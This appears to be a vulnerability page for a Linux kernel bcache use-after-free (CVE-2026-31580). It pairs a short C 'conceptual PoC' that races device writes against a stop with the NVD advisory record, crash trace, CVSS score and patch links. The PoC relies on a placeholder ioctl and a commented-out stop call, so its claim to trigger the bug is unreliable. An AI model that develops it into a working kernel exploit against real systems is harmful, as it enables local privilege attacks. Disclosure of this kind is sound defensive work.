CVE-2026-31580

/* * Conceptual PoC for CVE-2026-31580 * Triggering a race condition between superblock write and device stop. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> // Define bcache ioctl if not available in headers #define BCACHE_IOCTL_STOP 0xdeadbeef // Placeholder for actual ioctl int main() { int fd; pid_t pid; printf("[+] Starting PoC for CVE-2026-31580\n"); // 1. Open the bcache device node fd = open("/dev/bcache0", O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } // 2. Create a child process to trigger superblock writes pid = fork(); if (pid == 0) { char buffer[4096]; while (1) { // Perform operations that trigger sb_bio usage (e.g., modifying cache settings) // This simulates the 'sb_write' activity write(fd, buffer, sizeof(buffer)); fsync(fd); } } // 3. Parent process attempts to stop the device // This should ideally race with the child's write operation sleep(1); // Wait for writes to initiate printf("[+] Attempting to stop device to trigger UAF...\n"); // The actual ioctl to stop the cached device // ioctl(fd, BCACHE_IOCTL_STOP, 0); // In a real scenario, unmounting or stopping the cache set here // while writes are active triggers the use-after-free in dc->sb_bio. close(fd); return 0; }

{"cve": {"id": "CVE-2026-31580", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:32.683", "lastModified": "2026-04-27T20:29:15.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbcache: fix cached_dev.sb_bio use-after-free and crash\n\nIn our production environment, we have received multiple crash reports\nregarding libceph, which have caught our attention:\n\n```\n[6888366.280350] Call Trace:\n[6888366.280452] blk_update_request+0x14e/0x370\n[6888366.280561] blk_mq_end_request+0x1a/0x130\n[6888366.280671] rbd_img_handle_request+0x1a0/0x1b0 [rbd]\n[6888366.280792] rbd_obj_handle_request+0x32/0x40 [rbd]\n[6888366.280903] __complete_request+0x22/0x70 [libceph]\n[6888366.281032] osd_dispatch+0x15e/0xb40 [libceph]\n[6888366.281164] ? inet_recvmsg+0x5b/0xd0\n[6888366.281272] ? ceph_tcp_recvmsg+0x6f/0xa0 [libceph]\n[6888366.281405] ceph_con_process_message+0x79/0x140 [libceph]\n[6888366.281534] ceph_con_v1_try_read+0x5d7/0xf30 [libceph]\n[6888366.281661] ceph_con_workfn+0x329/0x680 [libceph]\n```\n\nAfter analyzing the coredump file, we found that the address of\ndc->sb_bio has been freed. We know that cached_dev is only freed when it\nis stopped.\n\nSince sb_bio is a part of struct cached_dev, rather than an alloc every\ntime. If the device is stopped while writing to the superblock, the\nreleased address will be accessed at endio.\n\nThis patch hopes to wait for sb_write to complete in cached_dev_free.\n\nIt should be noted that we analyzed the cause of the problem, then tell\nall details to the QWEN and adopted the modifications it made."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.6.136", "matchCriteriaId": "14109CEF-714B-4029-A318-97AA58A01833"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12", "versionEndExcluding": "6.12.83", "matchCriteriaId": "A8BAD957-8E20-401C-A129-DFF3655CA0B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.0.1", "matchCriteriaId": "9B5888AB-7403-4335-89E4-21CC0B48366A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2d6965581e164fa2ba3f7652ddae5535f6336576", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/383f7fec0de8cee1cf7ae1f9d9f14044a61f10f9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/47fa09fe7f3e09df28a51cb2cbd8f5d2f7f6edc1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4f71c8ba2dc009042493021d94a9718fbe2ebf27", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/add4982510f3b7c318a2dd7438bdc9c63171e753", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fec114a98b8735ee89c75216c45a78e28be0f128", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}